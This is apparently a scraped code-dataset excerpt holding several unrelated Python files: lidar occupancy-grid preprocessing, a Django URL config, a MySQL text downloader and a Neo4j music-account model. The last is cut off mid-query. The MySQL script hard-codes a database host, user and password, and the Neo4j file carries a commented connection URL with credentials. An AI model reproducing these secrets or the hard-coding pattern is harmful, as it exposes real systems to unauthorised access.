convert_tfrecord(np.array(return_camera_rgb),\n np.array(return_camera_segmentation),\n np.array(return_camera_depth), np.array(return_direction).astype(np.uint8))\n idnr += 1\n return_clips = []\n return_transformation = []\n return_camera_rgb = []\n return_camera_segmentation = []\n return_camera_depth = []\n return_direction = []\n\n del occupancy_buffer[:step_size]\n del occlusion_buffer[:step_size]\n del transformation_buffer[:step_size]\n del rgb_buffer[:step_size]\n del depth_buffer[:step_size]\n del segmentation_buffer[:step_size]\n del direction_buffer[:step_size]\n\n#resize and convert images\ndef transform_input(responses, size, convert=True):\n responses = Image.fromarray(np.uint8(responses))\n if convert:\n return (np.array(responses.resize(size, Image.ANTIALIAS).convert('L')) / 127 - 1).astype(np.float32)\n else:\n return (np.array(responses.resize(size, Image.ANTIALIAS)) / 127 - 1).astype(np.float32)\n\n#all following functions taken from preprocessing script, for more information see there\ndef cropAndResizeImage(img):\n if prescale > 0:\n img.thumbnail((prescale, prescale), PIL.Image.ANTIALIAS)\n crop_img = ImageOps.fit(img, [crop_size, crop_size])\n scaled_img = crop_img.resize((image_size, image_size), PIL.Image.ANTIALIAS)\n return scaled_img\n\ntwo_pi_f = 2 * math.pi\nangular_res_rad_f = two_pi_f/900.0\nradial_res_meter_f = 0.2\nradial_limit_meter_f = 73\ngrid_cell_size = 0.4\ngrid_cell_size_inv_f = 1 / grid_cell_size\nocc_thresh_f = 96\n\ndef createOcclusionMap(gridmap, max_occluded_steps=1):\n num_cells_per_edge_ui = gridmap.shape[0]\n num_cells_per_edge_half_f = gridmap.shape[0] // 2 - 1\n\n occlusion_map = np.ones(gridmap.shape, dtype=np.float32) # 0 - occluded, 1 - non occluded/visible\n start_time = time.time()\n\n # Angle array captures 0 to 360 degree in radians to simulate the lidar beams\n angle_array = np.arange(0,two_pi_f,angular_res_rad_f)\n # Radial array captures 0 to max distance of detection to iterate over the distance to the ego vehicle\n radial_array = np.arange(0, radial_limit_meter_f, radial_res_meter_f)\n # For performance: repeat both arrays up to the shape of the other one to do faster matrix operations\n angle_array = np.stack([angle_array]*radial_array.shape[0], axis=1)\n radial_array = np.stack([radial_array]*angle_array.shape[0], axis=0)\n\n # x,y grid contains all x,y-Coordinates which correlate to the given angle and radius\n xy_grid = np.empty((angle_array.shape[0], radial_array.shape[1], 2), dtype=int)\n xy_grid[:,:,0] = grid_cell_size_inv_f * np.multiply(np.cos(angle_array), radial_array) + num_cells_per_edge_half_f # 0 - x\n xy_grid[:,:,1] = grid_cell_size_inv_f * np.multiply(np.sin(angle_array), radial_array) + num_cells_per_edge_half_f # 1 - y\n xy_grid = np.clip(xy_grid, 0, int(num_cells_per_edge_ui-1))\n\n occluded_steps = np.zeros((xy_grid.shape[0]), dtype=np.int32)\n is_occluded_array = np.zeros((xy_grid.shape[0]), dtype=np.bool)\n occlusion_wo_occup = np.ones((xy_grid.shape[0]), dtype=np.bool)\n position_array = np.zeros((xy_grid.shape[0], 2), dtype=int)\n\n for radial_index in range(xy_grid.shape[1]):\n x_i = xy_grid[:, radial_index, 0]\n y_i = xy_grid[:, radial_index, 1]\n\n occ_f = gridmap[y_i, x_i]\n is_occupied = (occ_f < occ_thresh_f)\n is_changed = is_occupied * (1 - is_occluded_array)\n position_array[:,0] = position_array[:,0] * (1 - is_changed) + x_i * (is_changed)\n position_array[:,1] = position_array[:,1] * (1 - is_changed) + y_i * (is_changed)\n is_occluded_array = is_occluded_array + is_occupied\n is_first_pixel = (np.absolute(position_array[:,0] - x_i) <= max_occluded_steps) * (np.absolute(position_array[:,1] - y_i) <= max_occluded_steps) * is_occupied\n\n occlusion_map[y_i, x_i] = occlusion_map[y_i, x_i] * (1 - (is_occluded_array * (1 - is_first_pixel)))\n\n return occlusion_map\n\ndef createOccupancyMask(occupancy_img, occlusion_array, thresh):\n img = np.array(occupancy_img).astype(np.float32)\n if len(img.shape) == 3:\n img = np.mean(img, axis=2)\n img = (img < thresh) * 1.0\n img = draw_ego_vehicle(img)\n occupancy_mask = np.multiply(img, occlusion_array)\n return occupancy_mask\n\ndef draw_ego_vehicle(img):\n image_size = img.shape[0]\n VEHICLE_WIDTH = image_size * 4 // 96\n VEHICLE_HEIGHT = image_size * 7 // 96\n x_start = image_size // 2 - VEHICLE_WIDTH // 2\n x_end = x_start + VEHICLE_WIDTH\n y_start = image_size // 2\n y_end = y_start + VEHICLE_HEIGHT\n img[y_start:y_end, x_start:x_end] = 1\n return img\n\ndef createOcclusionImages(img, occlusion_map):\n if len(img.shape) == 2:\n img = np.reshape(img, [img.shape[0], img.shape[1], 1])\n if img.shape[2] == 1:\n img = np.concatenate([img]*3, axis=2)\n img = img + (255 - img) * 0.5\n occlusion_map = np.stack([occlusion_map] * 3, axis=2)\n occluded_img = np.multiply(img, occlusion_map)\n return occluded_img\n\ndef calcImageTranslation(img, yaw_rate, vel, frame_rate=24, combined_frames=1, gridmap_size = 45.6):\n img = np.stack([img] * 3, axis=2)\n assert(img.shape[2] == 3)\n transform_matrix = np.zeros([3, 2, 3])\n for i in range(transform_matrix.shape[0]):\n if combined_frames == 1 or (len(frames) - frame_index <= combined_frames):\n theta, dx, dy = get_transformation_parameter(img.shape[0] // (2 ** i), gridmap_size, frame_rate, vel, yaw_rate)\n else: #this part needed for frame_composing > 1, currently not supported, needs list of imgs & odometry\n vels = []\n yaw_rates = []\n for comb_index in range(combined_frames):\n vels.append(odometry_dict[get_frame_number(frames[frame_index + comb_index])]['vel'])\n yaw_rates.append(odometry_dict[get_frame_number(frames[frame_index + comb_index])]['yaw_rate'])\n theta, dx, dy = get_combined_transformation_parameter(img.shape[0] // (2 ** i), gridmap_size, frame_rate, vels,yaw_rates)\n\n transform_matrix[i, :] = get_STM_matrix(img.shape[0] // (2 ** i), theta, dx, dy)\n return transform_matrix\n\ndef get_transformation_parameter(imsize, gridmap_size, frame_rate, vel, yaw_rate):\n period_duration = 1.0 / frame_rate\n yaw_diff = math.radians(yaw_rate * period_duration)\n pixel_size = gridmap_size * 1.0 / imsize # [m]\n pixel_diff = vel * period_duration * 1.0 / pixel_size\n pixel_diff_y = math.cos(yaw_diff) * pixel_diff\n pixel_diff_x = math.sin(yaw_diff) * pixel_diff\n return yaw_diff, pixel_diff_x, pixel_diff_y\n\ndef get_STM_matrix(imsize, theta, dx, dy):\n theta = -theta\n a11 = math.cos(theta)\n a12 = -math.sin(theta)\n a13 = dx / ((imsize - 1) / 2.0)\n a21 = math.sin(theta)\n a22 = math.cos(theta)\n a23 = dy / ((imsize - 1) / 2.0)\n M = np.array([[a11, a12, a13], [a21, a22, a23]])\n return M\n\ndef create_default_element(image_size, seq_length, channel_size):\n element = np.zeros([image_size, image_size, seq_length * channel_size], dtype=np.float32)\n return element\n\ndef read_frame(occup_map, occlusion_map):\n #dummy values as long as no underlying road can be extracted from carla - backward comp. with NN model\n lines_map = np.ones(shape=(occup_map.shape)) * 255\n road_map = np.ones(shape=(occup_map.shape)) * 255\n if len(occlusion_map.shape) == 3:\n occlusion_map = np.mean(occlusion_map, axis=2)\n return np.stack([occup_map*255, occlusion_map*255, lines_map, road_map, occlusion_map*255], axis=2)\n\ndef read_matrix(matrix):\n tf_matrix = np.zeros([3,8], dtype=np.float32)\n tf_matrix[:,0:3] = matrix[:,0,:]\n tf_matrix[:,3:6] = matrix[:,1,:]\n return tf_matrix\n\ndef normalize_frames(frames):\n new_frames = frames.astype(np.float32)\n new_frames //= (255 // 2)\n new_frames -= 1\n return new_frames\n\ndef get_occupancy_diff(clip):\n occup_clip = np.multiply((clip[:,:,::5] + 1)/2.0, (clip[:,:,4::5] + 1)/2.0)\n occup_diff = occup_clip[:,:,:-1] - occup_clip[:,:,1:]\n occup_diff = np.absolute(occup_diff)\n return np.sum(occup_diff) * 1.0 / occup_diff.shape[2]\n\ndef compressMoveMapDataset(occupancy_buffer, occlusion_buffer, transformation_buffer,\n transformation_only=False, split_number = 0, split_amount = 1):\n global return_clips\n global return_transformation\n max_occup_diff = 0\n min_occup_diff = 100000\n mean_occup_diff = 0.0\n all_clips = [create_default_element(image_size, seq_length, 5) for i in range(seq_length)]\n all_transformation = [np.zeros([seq_length, 3, 8], dtype=np.float32) for i in range(seq_length)]\n\n step_offset = int(round(1.0 * step_size / split_amount * split_number))\n\n for file_index in range(len(occupancy_buffer)):\n frame = read_frame(occupancy_buffer[file_index], occlusion_buffer[file_index])\n if transformation_only:\n frame = np.zeros([1,1,1])\n transform_matrix = read_matrix(transformation_buffer[file_index])\n\n channel_size = frame.shape[2]\n\n norm_frame = normalize_frames(frame)\n for clip_index in range(len(all_clips)):\n if not transformation_only:\n all_clips[clip_index][:, :, clip_index * channel_size: (clip_index + 1) * channel_size] = norm_frame\n all_transformation[clip_index][clip_index,:,:] = transform_matrix\n if file_index >= seq_length - 1:\n if not transformation_only:\n occup_diff = get_occupancy_diff(all_clips[-1])\n max_occup_diff = max(max_occup_diff, occup_diff)\n min_occup_diff = min(min_occup_diff, occup_diff)\n mean_occup_diff = mean_occup_diff + occup_diff\n if transformation_only or occup_diff >= 0: #occup_diff >= 6 in orig. script\n if not transformation_only:\n return_clips.append(all_clips[-1])\n return_transformation.append(all_transformation[-1])\n else:\n print(\"Sequence not saved due to occupancy difference of \" + str(occup_diff))\n\n del all_clips[-1]\n del all_transformation[-1]\n all_clips.insert(0, create_default_element(image_size, seq_length, channel_size))\n all_transformation.insert(0, np.zeros([seq_length, 3, 8], dtype=np.float32))\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef load_gridmap_onmove_tfrecord(ind, size, frame_count, useCombinedMask=False):\n seq = return_clips[ind]\n seq = np.stack(np.split(seq[:,:,:frame_count*5], frame_count, axis=2), axis=2)\n if image_size < seq.shape[0]:\n orig_size = seq.shape[0]\n start_index = (orig_size - size) // 2\n end_index = start_index + size\n seq = seq[start_index:end_index,start_index:end_index]\n\n input_seq = seq[:,:,:-1,0:2]\n maps = seq[:,:,:,2:4]\n if useCombinedMask:\n loss_mask = seq[:,:,1:,4:5]\n input_seq[:,:,:,0:1] = np.multiply((seq[:,:,:-1,4:5] + 1) // 2, (input_seq[:,:,:,0:1] + 1) // 2) * 2 - 1\n else:\n loss_mask = seq[:,:,1:,1:2]\n input_seq[:,:,:,0:1] = np.multiply((seq[:,:,:-1,4:5] + 1) // 2, (input_seq[:,:,:,0:1] + 1) // 2) * 2 - 1\n seq[:,:,1:,0:1] = np.multiply((seq[:,:,1:,0:1] + 1) // 2, (seq[:,:,1:,3:4] + 1) / 2) * 2 - 1\n target_seq = np.concatenate([seq[:,:,1:,0:1],loss_mask], axis=3)\n\n tf_matrix = return_transformation[ind][:frame_count-1]\n tf_matrix[:,:,2] = tf_matrix[:,:,2]\n tf_matrix[:,:,5] = - tf_matrix[:,:,5]\n\n return target_seq, input_seq, maps, tf_matrix\n\ndef convert_tfrecord(return_camera_rgb, return_camera_segmentation, return_camera_depth, return_direction, useCombinedMask=False):\n samples = np.arange(samples_per_record)\n shapes = np.repeat(np.array([image_size]), 1, axis=0)\n sequence_steps = np.repeat(np.array([1 + seq_steps * (K + T)]), 1, axis=0)\n combLoss = np.repeat(useCombinedMask, 1, axis=0)\n strname = \"imgsze=\"+str(image_size)+\"_fc=\"+str(seq_length)+\"_datasze=\"+str(data_size[0])+\"x\"+str(data_size[1])+\"_seqlen=\"+str(seq_steps)+\"_K=\"+str(K)+\"_T=\"+str(T)+\"_size=\"+str(samples_per_record)\n prefixname = prefix + '_' + str(idnr)\n filename = os.path.join(dest_path, prefixname + '_' + strname + '.tfrecord')\n with tf.python_io.TFRecordWriter(filename) as writer:\n for index in samples:\n for f, img_sze, seq, useCM in zip([index], shapes, sequence_steps, combLoss):\n target_seq, input_seq, maps, tf_matrix = load_gridmap_onmove_tfrecord(f, img_sze, seq, useCM)\n seq_batch = target_seq.tostring()\n input_batch = input_seq.tostring()\n map_batch = maps.tostring()\n transformation_batch = tf_matrix.tostring()\n rgb_batch = return_camera_rgb[index].tostring()\n segmentation_batch = return_camera_segmentation[index].tostring()\n depth_batch = return_camera_depth[index].tostring()\n direction_batch = return_direction[index].tostring()\n example = tf.train.Example(\n features=tf.train.Features(\n feature={\n 'input_seq': _bytes_feature(input_batch),\n 'target_seq': _bytes_feature(seq_batch),\n 'maps': _bytes_feature(map_batch),\n 'tf_matrix': _bytes_feature(transformation_batch),\n 'rgb': _bytes_feature(rgb_batch),\n 'segmentation': _bytes_feature(segmentation_batch),\n 'depth': _bytes_feature(depth_batch),\n 'direction': _bytes_feature(direction_batch)\n }))\n writer.write(example.SerializeToString())\n", "sub_path": "KITTI/preprocessing_situ_all_data.py", "file_name": "preprocessing_situ_all_data.py", "file_ext": "py", "file_size_in_byte": 18908, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 143, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 162, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 162, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 164, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 164, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 164, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 164, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 166, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 166, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 166, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 171, "usage_type": "attribute"}, {"api_name": "PIL.ImageOps.fit", "line_number": 172, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 172, "usage_type": "name"}, {"api_name": "PIL.Image", "line_number": 173, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 188, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 205, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 206, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 207, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 227, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 259, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 276, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 279, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 280, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 285, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 286, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 288, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 295, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 307, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 313, "usage_type": "attribute"}, {"api_name": "numpy.multiply", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 332, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 365, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Feature", "line_number": 368, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 368, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Int64List", "line_number": 368, "usage_type": "call"}, {"api_name": "tensorflow.train.Feature", "line_number": 371, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 371, "usage_type": "attribute"}, {"api_name": "tensorflow.train.BytesList", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 375, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 375, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 390, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 403, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 406, "usage_type": "call"}, {"api_name": "os.path", "line_number": 406, "usage_type": "attribute"}, {"api_name": "tensorflow.python_io.TFRecordWriter", "line_number": 407, "usage_type": "call"}, {"api_name": "tensorflow.python_io", "line_number": 407, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Example", "line_number": 419, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 419, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Features", "line_number": 420, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 420, "usage_type": "attribute"}]} {"seq_id": "373269109", "text": "from django.urls import path\nfrom .views import home, libro_lista, form_libro, form_mod_libro, form_del_libro, form_registro_usuario, bienvenida_usuario\n\nurlpatterns = [\n \n path('', home, name=\"home\"),\n path('bienvenida-usuario', bienvenida_usuario, name=\"bienvenida_usuario\"),\n path('libro-lista', libro_lista, name=\"libro_lista\"),\n path('form-libro', form_libro, name=\"form_libro\"),\n path('form-mod-libro/<id>', form_mod_libro, name=\"form_mod_libro\"),\n path('form-del-libro/<id>', form_del_libro, name=\"form_del_libro\"),\n path('form-registro-usuario', form_registro_usuario, name=\"form_registro_usuario\"),\n \n]\n", "sub_path": "Prueba4/core/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 639, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "views.home", "line_number": 6, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "views.bienvenida_usuario", "line_number": 7, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.libro_lista", "line_number": 8, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.form_libro", "line_number": 9, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.form_mod_libro", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.form_del_libro", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.form_registro_usuario", "line_number": 12, "usage_type": "argument"}]} {"seq_id": "521183944", "text": "# -*- coding: UTF-8 -*-\n\"\"\"\n从数据库中下载样本数据\n\"\"\"\n\nimport MySQLdb\nimport pandas as pd\n\n\nclass getSqlSample(object):\n def __init__(self, fileName, tablesName):\n self.conn = MySQLdb.connect( # 连接数据库\n host='172.18.31.155', # ip地址\n port=3306,\n user='mysd', # 数据库用户名\n passwd='mysdpico', # 数据库用户名密码\n db='site_platform', # 数据库名字\n charset='utf8' # 编码方式\n )\n self.fileName = fileName\n self.tablesName = tablesName\n\n def getMysqlData(self):\n # 数据库连接\n print('connect...')\n\n cur = self.conn.cursor()\n # 索引\n index = 0\n # 类别\n type = []\n # 文本\n text = []\n\n for tableIndex in range(len(self.tablesName)):\n print('enter')\n # 提取需要的项\n cur.execute(\"SELECT TEXT_NO_HTML FROM {0} limit 1000\".format(self.tablesName[tableIndex]))\n rows = cur.fetchall()\n\n for row in rows:\n # 如果有多行则合并为一行\n tmp = ''.join([i for i in row[0].splitlines()])\n # 记录文本\n text.append(tmp)\n # 记录类别\n type.append(tableIndex)\n if index % 1000 == 0:\n print(index)\n index += 1\n\n data = pd.DataFrame({u'类别': type, u'文本': text})\n data.to_csv(self.fileName, index=None, encoding='utf-8')\n\n\nif __name__ == '__main__':\n # 保存数据的文件\n fileName = './data/sample.csv'\n # 表名\n tableName = ['fulltext_tieba', 'fulltext_tieba', 'fulltext_p2p']\n # 提取数据并保存\n getSqlSample(fileName, tableName).getMysqlData()", "sub_path": "getSqlSample.py", "file_name": "getSqlSample.py", "file_ext": "py", "file_size_in_byte": 1857, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "MySQLdb.connect", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 52, "usage_type": "call"}]} {"seq_id": "491479516", "text": "from py2neo import Graph, Node, Relationship, authenticate\nfrom passlib.hash import bcrypt\nfrom datetime import datetime\nimport queryService\nimport loadOntologyEntities, readOntology\nimport os\nimport uuid\n\n\n#url = os.environ.get('http://localhost:7474')\n#username = os.environ.get('NEO4J_USERNAME')\n#password = os.environ.get('NEO4J_PASSWORD')\n\n#if username and password:\n #authenticate(url.strip('http://'), username, password)\n\ngraph = Graph('http://localhost:7474/db/data/')\n\n#graph = Graph(\"http://emboRecTest:TIlvepIFyx5GEyWwsA2l@emborectest.sb04.stations.graphenedb.com:24789/db/data/\")\nclass User:\n def __init__(self, username):\n self.username = username\n\n def find(self):\n user = graph.find_one(\"OnlineMusicAccount\", \"username\", self.username)\n return user\n\n def register(self, password, group, age):\n if not self.find():\n user = Node(\"OnlineMusicAccount\", username=self.username, password=bcrypt.encrypt(password))\n\n graph.create(user)\n\n OMA = graph.find_one(\"OnlineMusicAccount\", \"description\", \"OnlineMusicAccount\" )\n affRel = Relationship(user, \"rdf:type\", OMA)\n\n affiliationNode = Node(\"Affiliation\", age=age, affiliation=group)\n graph.create(affiliationNode)\n affRel = Relationship(user, \"schema:affiliation\", affiliationNode)\n graph.create(affRel)\n\n nameNode = Node(\"OnlineMusicAccountName\", username=self.username)\n graph.create(nameNode)\n nameRel = Relationship(user, \"foaf:name\", nameNode)\n graph.create(nameRel)\n\n dateNode = Node(\"Date\", date=date())\n graph.create(dateNode)\n dateRel = Relationship(user, \"dcterms:created\", dateNode)\n graph.create(dateRel)\n\n return True\n else:\n return False\n\n def verify_password(self, password):\n user = self.find()\n if user:\n return bcrypt.verify(password, user['password'])\n else:\n return False\n\n\n #def like_post(self, post_id):\n #user = self.find()\n #post = graph.find_one(\"Post\", \"id\", post_id)\n #graph.create_unique(Relationship(user, \"LIKED\", post))\n\n def get_recent_posts(self):\n query = \"\"\"\n MATCH ((n)-[:wasAssociatedWith]-> (user:OnlineMusicAccount))\n WHERE user.username = {username}\n RETURN user.username AS username, n\n \"\"\"\n return graph.cypher.execute(query, username=self.username)\n\n#----------------ACTIONS---FREESOUND------------------------------------------------------------------------------------\n #-----------------SEARCH ACTIONS -----------------------------------------------------------------------------------\n def TextSearch(self, query):\n user = self.find()\n\n search = Node(\n \"Action\",\n id=str(uuid.uuid4()),\n timestamp=timestamp(),\n date=date(),\n description=\"Text Search Freesound\",\n provider = \"Freesound\",\n actionDesc=\"SearchAction\",\n hasInputMessage=query,\n hasMethod=\"GET\",\n hasAddress=\"URITemplate\",\n hasOutputMessage=\"mo:MusicalBuildingBlock\",\n query=query,\n )\n #search=graph.merge_one(\"TextSearch\",\"query\",query)\n rel = Relationship(search, \"wasAssociatedWith\", user)\n graph.create(rel)\n\n test, test2 = queryService.query(query)\n return test\n\n #----------------UPLOAD ACTION -------------------------------------------------------------------------------------\n\n\n def UploadFile(self, task, permition, oldFileName, newFileName):\n user = self.find()\n\n upload = Node(\n \"Action\",\n id=str(uuid.uuid4()),\n timestamp=timestamp(),\n date=date(),\n description=\"Upload File Freesound\",\n actionDesc=\"UploadAction\",\n hasInputMessage=\"query\",\n hasMethod=\"POST\",\n hasAddress=\"URITemplate\",\n hasOutputMessage=\"dictionary\",\n )\n #search=graph.merge_one(\"TextSearch\",\"query\",query)\n rel = Relationship(upload, \"wasAssociatedWith\", user)\n graph.create(rel)\n\n audiofile = Node (\n \"mo:AudioFile\",\n id=str(uuid.uuid4()),\n timestamp=timestamp(),\n date=date(),\n description=\"File Freesound\",\n duration= \" \",\n filesize = \" \",\n hasAddress = \" \",\n name = newFileName,\n )\n rel = Relationship(audiofile, \"wasGeneratedBy\", upload)\n graph.create(rel)\n\n #----------this is Licence trigering action---------------------------------------------------------------------\n\n createLicenceNodes(task, permition, user, audiofile, upload)\n\n #------------this action also triggers encoding action----------------------------------------------------------\n\n encoding = Node(\n \"Action\",\n id=str(uuid.uuid4()),\n description=\"Encoding File Freesound\",\n actionDesc=\"EncodingAction\",\n hasAudioEncodingFormat = \" \",\n sample_rate = \" \",\n channels = \" \",\n bitrate = \" \",\n bitsPerSample = \" \"\n )\n\n rel = Relationship(audiofile, \"wasGeneratedBy\", encoding)\n graph.create(rel)\n\n #------------TAGGING ACTION-----------------------------------------------------------------------------------------\n\n def TagFile(self, listOfTags,audiofile):\n user = self.find()\n\n tagging = Node(\n \"Action\",\n id=str(uuid.uuid4()),\n timestamp=timestamp(),\n date=date(),\n description=\"Tag Freesound file\",\n actionDesc=\"muto:Tagging\",\n hasCreator = user,\n hasTag = listOfTags,\n note = \" \",\n taggedResource = audiofile\n\n )\n\n rel = Relationship(tagging, \"muto:hasCreator\", user)\n graph.create(rel)\n\n\n#--------------ACTIONS---JAMENDO----------------------------------------------------------------------------------------\n\n def searchJamendo(self, stateO):\n user = self.find()\n\n search = Node(\n \"Action\",\n id=str(uuid.uuid4()),\n timestamp=timestamp(),\n date=date(),\n description=\"Search Jamendo\",\n actionDesc=\"SearchAction\",\n hasInputMessage=stateO,\n hasMethod=\"GET\",\n hasAddress=\"URITemplate\",\n hasOutputMessage=\"mo:MusicalWork\",\n query=stateO,\n )\n #search=graph.merge_one(\"SearchJamendo\",\"description\",stateO)\n rel = Relationship(search, \"wasAssociatedWith\", user)\n graph.create(rel)\n\n test, test2 = queryService.query(stateO)\n return test2\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n def get_roles(self, role):\n user = self.find()\n test, test2 = queryService.query(role)\n return test, test2\n\n\n def get_events(self, event):\n user = self.find()\n test, test2 = queryService.complexQuery(event)\n return test, test2\n\n\n def get_similar_users(self):\n # Find three users who are most similar to the logged-in user\n # based on tags they've both blogged about.\n query = \"\"\"\n MATCH 